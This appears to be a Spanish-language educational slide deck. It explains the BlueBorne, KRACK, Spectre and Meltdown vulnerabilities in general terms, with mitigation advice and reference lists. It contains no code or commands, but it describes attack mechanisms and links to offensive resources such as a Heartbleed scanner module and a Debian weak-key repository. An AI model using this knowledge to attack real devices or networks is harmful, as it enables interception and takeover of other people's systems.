★ El ataque no requiere que la víctima interactúe con el dispositivo atacante. Esto quiere decir que
pueden tomar el control de tu dispositivo sin necesidad de que te conectes a ningún sitio concreto
con él.

★ Los investigadores que han descubierto este fallo ya se han puesto en contacto con los fabricantes
afectados, por lo que aunque se calcule que haya alrededor de 5.000 millones de dispositivos
vulnerables las soluciones para la mayoría de ellos no deberían tardar en llegar.
BlueBorne
● La gran diferencia con respecto a la mayoría de exploits es que no es necesario que la víctima se
conecte a ninguna web, que descargue ningún archivo con el que infectarse, ni que se empareje a
ningún dispositivo concreto.
● Simplemente vale con que se tenga activado el Bluetooth para que un atacante pueda conectarse
al dispositivo sin que lo note y procede a infectarlo con el malware que desee.
● Esto quiere decir que un dispositivo infectado con BlueBorne puede infectar a cualquier otro que
tenga habilitado el Bluetooth a su alrededor, y que incluso una vez infectados estos dispositivos
pueden propagar a su vez y sin querer el malware.
BlueBorne
★ Un atacante necesita poco más de un minuto para conectarse a un móvil
Android que tiene a su lado.

★ Una vez conectado puede tomar el control del dispositivo, abrir aplicaciones
como la cámara de fotos y llevarse las fotos que saque, o instalar cualquier
aplicación o malware que quiera sin que el dueño del móvil se de cuenta.
BlueBorne
El proceso es el siguiente:

★ El vector de ataque empieza encontrando los dispositivos que tiene a su alrededor, obligándoles a
ceder información sobre ellos, e incluso a mostrar sus contraseñas. A continuación sólo tiene que
conectarse al dispositivo, y una vez lo hace ya tiene total control para hacer ataques
"man-in-the-middle" o todo lo que quiera.

★ El ataque es posible debido a vulnerabilidades en el Bluetooth Network Encapsulation Protocol


(BNEP), que es el que permite compartir Internet a través de una conexión Bluetooth (conexión). Este
fallo permite desencadenar una corrupción de la memoria y ejecutar código en el dispositivo
otorgándole un control total.
BlueBorne
Hasta el momento se han visto afectados los siguientes sistemas operativos:

1. Android (todas las versiones).


2. iOS (desde iOS 9.3.5 hacia atrás) y AppleTV desde 7.2.2 hacia atrás.
3. Linux (cualquier dispositivo con BlueZ instalado).
4. Windows (desde Windows Vista en adelante).
KRACK Attack

★ Cuando un dispositivo se conecta a una red Wi-Fi con WPA2, el primer paso para la comunicación
consiste en negociar con el router una llave que se utilizará para cifrar el tráfico enviado entre ellos.

★ Esta llave no es la clave de la red Wi-Fi, sino una aleatoria, que se negocia para cada sesión. Para
acordar esta llave de cifrado, los dispositivos realizan lo que se conoce como “4 way handshake”, o
saludo de 4 vías, en el cual confirman mediante cuatro mensajes que ambos tienen la clave de
cifrado y la comunicación puede realizarse.
KRACK Attack

★ En el tercer mensaje de esta comunicación, el router envía la llave con la que será cifrada la sesión, y
en el cuarto mensaje el dispositivo confirma que la recibió correctamente. Si se produce un corte en
la comunicación, y el router no recibe el cuarto mensaje de confirmación, continúa mandando la llave
hasta que reciba respuesta.

★ El dispositivo, por su parte, cada vez que recibe una llave la instala para luego utilizarla.
KRACK Attack

★ El problema es que el protocolo WPA2 no verifica que la clave sea diferente a las que ya se utilizaron,
por lo que la misma llave puede utilizarse más de una vez, y es aquí donde está la vulnerabilidad.

★ Mediante un ataque Man In The Middle, se puede manipular el tercer mensaje del handshake,
forzando al dispositivo a instalar la llave enviada por el atacante. A partir de esta llave, el atacante
puede entonces descifrar el tráfico que envía el dispositivo.
KRACK Attack

★ La vulnerabilidad no está en la clave de la red Wi-Fi, ni en el router o cualquier otro dispositivo, sino
en el protocolo WPA2, es decir, en la forma en que se establece la comunicación. Es por esto que
afecta a las redes Wi-Fi que lo utilizan.

★ El ataque se lleva a cabo en el momento en que un dispositivo se conecta al router (o al Access


Point) y se produce el 4-way handshake para establecer la sesión. De todas formas, se pueden
utilizar otros ataques para lograr interrumpir esa sesión y que el dispositivo deba volver a conectarse.
KRACK Attack

★ Esta vulnerabilidad afecta directamente la comunicación entre el dispositivo y


el router, por lo que un atacante debe tener acceso físico a la señal de la red
Wi-Fi para poder realizar el ataque, lo cual disminuye bastante la superficie de
acción.
★ Además, el atacante no puede obtener mediante este ataque la clave de
nuestra red Wi-Fi, por lo que tampoco puede hacer uso de la red ni conectarse
directamente a ella.
KRACK Attack

★ Lo que se puede hacer el atacante es interceptar y leer el tráfico que envía un dispositivo e incluso
manipular este tráfico. Es decir, que además de violar completamente la privacidad, puede realizar
otros ataques, como insertar códigos maliciosos, manipular los DNS o utilizar otras técnicas
combinadas con ataques de Man In The Middle.
KRACK Attack

Soluciones:

★ La primera opción es actualizar los dispositivos vulnerables, lo cual probablemente sean todos tus dispositivos, ya que esta
vulnerabilidad afecta directamente al protocolo WPA2 y a cualquiera que lo implemente. Para saber si tu dispositivo es
vulnerable te recomendamos revisar en esta lista si el fabricante ha hecho alguna declaración al respecto.

★ Sin embargo, no todos los fabricantes publicarán sus parches en el corto plazo, especialmente aquellos que utilizan versiones
propias de Android; por lo que es probable que para muchos dispositivos la solución definitiva tarde bastante en llegar.

★ En primera instancia, lo mejor es utilizar conexiones cifradas. Lo primero que se nos viene a la mente es navegar por páginas que
sean seguras, es decir que utilicen el protocolo HTTPS.
KRACK Attack

★ Para agregar una capa más de seguridad, lo más recomendable es utilizar una conexión VPN. De esta forma nos aseguramos de
cifrar el tráfico desde y hacia nuestro dispositivo, tal como lo haríamos en una red pública o no segura.

★ Dado que este ataque afecta directamente el 4-way handshake que realizan los clientes al conectarse a la red Wi-Fi, el principal
objetivo son los dispositivos conectados y no los routers o access points. Por lo que, si el firmware de tu router no puede ser aún
actualizado, se recomienda deshabilitar las funciones de cliente (habitualmente utilizadas en el modo repetidor) y la versión del
protocolo 802.11r (o fast roaming), para no correr riesgos innecesarios.

★ Por último, un atacante podría utilizar esta vulnerabilidad para introducir códigos maliciosos o engañar al usuario, por lo que no
se debe olvidar de tener instaladas y actualizadas las herramientas de seguridad y antimalware en tus dispositivos.
Spectre
Spectre es una vulnerabilidad que permite a los programas alojados en el sistema operativo del usuario
acceder a una dirección arbitraria del espacio de memoria de un programa.

Desde 2018, casi todos los sistemas informáticos están potencialmente afectados por Spectre, incluidos
los equipos de sobremesa, portátiles y dispositivos móviles. Específicamente, se ha demostrado que
Spectre funciona en procesadores Intel, AMD, los basados en ARM y los de IBM.

La vulnerabilidad se aprovecha de la ejecución especulativa que consiste en ejecutar código desde el


procesador aunque este no sea necesario pero que por medio de una serie de reglas, un algoritmo o
algún otro método de predicción se considera que tal vez el usuario lo requiera.

Puesto que Spectre representa una clase entera de ataques, lo más probable es que no pueda haber un
único parche general para él.3 Aunque ya se está trabajando para abordar casos especiales de la
vulnerabilidad, el sitio web original dedicado a Spectre y Meltdown afirma que «dado que [Spectre] no es
fácil de arreglar, nos perseguirá durante mucho tiempo».
Spectre
Se ha informado de que los parches para Spectre degradan el rendimiento de forma significativa,
especialmente en los ordenadores más antiguos; en las nuevas plataformas de octava generación se han
medido caídas de rendimiento de entre un 2 y un 14 % realizando pruebas de referencia.

Lamentablemente contra Spectre no se puede hacer nada, tendremos que vivir con la vulnerabilidad por
varios años, no solo en Macs y PCs, también en smartphones y tablets. Desde ya Intel está intentando
minimizar el fallo frente a medios, como era de esperarse. AMD asegura que sus procesadores no son
víctimas del problema y ARM ha aceptado qu sí están afectados, pero aclaran que los pasos para
aprovechar el hueco de seguridad son muchos y es sumamente complicado.
Meltdown
La vulnerabilidad Meltdown es un agujero de seguridad en el hardware que afecta a los procesadores
Intel x86, a los procesadores IBM POWER, y también a algunos procesadores basados en la arquitectura
ARM, y que permite que un proceso maligno pueda leer de cualquier lugar de la memoria virtual, aún sin
contar con autorización para hacerlo.

Meltdown explota una condición de carrera inherente al diseño de muchas CPU actuales. Esta condición
se da entre los accesos a la memoria y la comprobación de privilegios durante el procesamiento de
instrucciones. Además, en combinación con un ataque de canal lateral a la caché de la CPU, esta
vulnerabilidad permite que un proceso se salte las comprobaciones habituales de nivel de privilegio que
normalmente aislarían al proceso maligno e impedirían que accediese a datos que pertenecen al sistema
operativo y otros procesos concurrentes. La vulnerabilidad permite que un proceso no autorizado lea
información de cualquier dirección mapeada al espacio de memoria del proceso actual.
Meltdown
La mitigación de esta vulnerabilidad requiere cambios en el código del núcleo del sistema operativo,
incluyendo un mayor aislamiento de la memoria del núcleo respecto a los procesos del modo usuario
Referencias
Shellshock:
● https://access.redhat.com/articles/1200223
● https://www.symantec.com/connect/blogs/shellshock-all-you-need-know-about-bash-bug-vulnerability
● https://es.wikipedia.org/wiki/Shellshock_(error_de_software)
● https://access.redhat.com/articles/1200223

HeartBleed:
● http://heartbleed.com/
● https://hipertextual.com/archivo/2014/04/que-es-heartbleed/
● http://www.welivesecurity.com/la-es/2014/04/09/5-cosas-debes-saber-sobre-heartbleed/
● https://www.rapid7.com/db/modules/auxiliary/scanner/ssl/openssl_heartbleed

Vulnerabilidad en Debian OpenSSL:


● https://www.rapid7.com/db/vulnerabilities/openssl-debian-weak-keys
● https://github.com/g0tmi1k/debian-ssh
● https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0166
● https://anonscm.debian.org/viewvc/pkg-openssl/openssl/trunk/rand/md_rand.c?p2=%2Fopenssl%2Ftrunk%2Frand%2Fmd_rand.c&p1=
openssl%2Ftrunk%2Frand%2Fmd_rand.c&r1=141&r2=140&view=diff&pathrev=141
● https://rt.openssl.org/Ticket/Display.html?id=521&user=guest&pass=guest

SHA1:
● http://www.databreachtoday.com/sha-1-has-fallen-a-9740
Referencias
DDOS DNS:
● https://blog.cloudflare.com/the-ddos-that-almost-broke-the-internet/
● http://thehackernews.com/2016/10/dyn-dns-ddos.html
● https://en.wikipedia.org/wiki/2016_Dyn_cyberattack

Ransomware, los tres primeros de heimdal tiene excelente información del tema:
● https://heimdalsecurity.com/blog/what-is-ransomware-protection/
● https://heimdalsecurity.com/blog/anti-ransomware-protection-plan/
● https://heimdalsecurity.com/blog/ransomware-decryption-tools/
● https://en.wikipedia.org/wiki/Ransomware
● https://www.forbes.com/sites/leemathews/2017/02/07/2016-saw-an-insane-rise-in-the-number-of-ransomware-attacks
● https://us.norton.com/yoursecurityresource/detail.jsp?aid=rise_in_ransomware

Anonymous:
● https://en.wikipedia.org/wiki/Anonymous_(group)

Cloudfare, cloudbleed:
● http://www.databreachtoday.com/cloudflare-coding-error-spills-sensitive-data-a-9742
● http://thehackernews.com/2017/03/amazon-web-storage.html
Referencias
BlueBorne:

https://www.armis.com/blueborne/

https://www.us-cert.gov/ncas/current-activity/2017/09/12/BlueBorne-Bluetooth-Vulnerabilities

http://unaaldia.hispasec.com/2017/09/blueborne-una-vulnerabilidad-en.html

KRACK Attack:

https://www.krackattacks.com/

Meltdown y Spectre:

https://meltdownattack.com/

También podría gustarte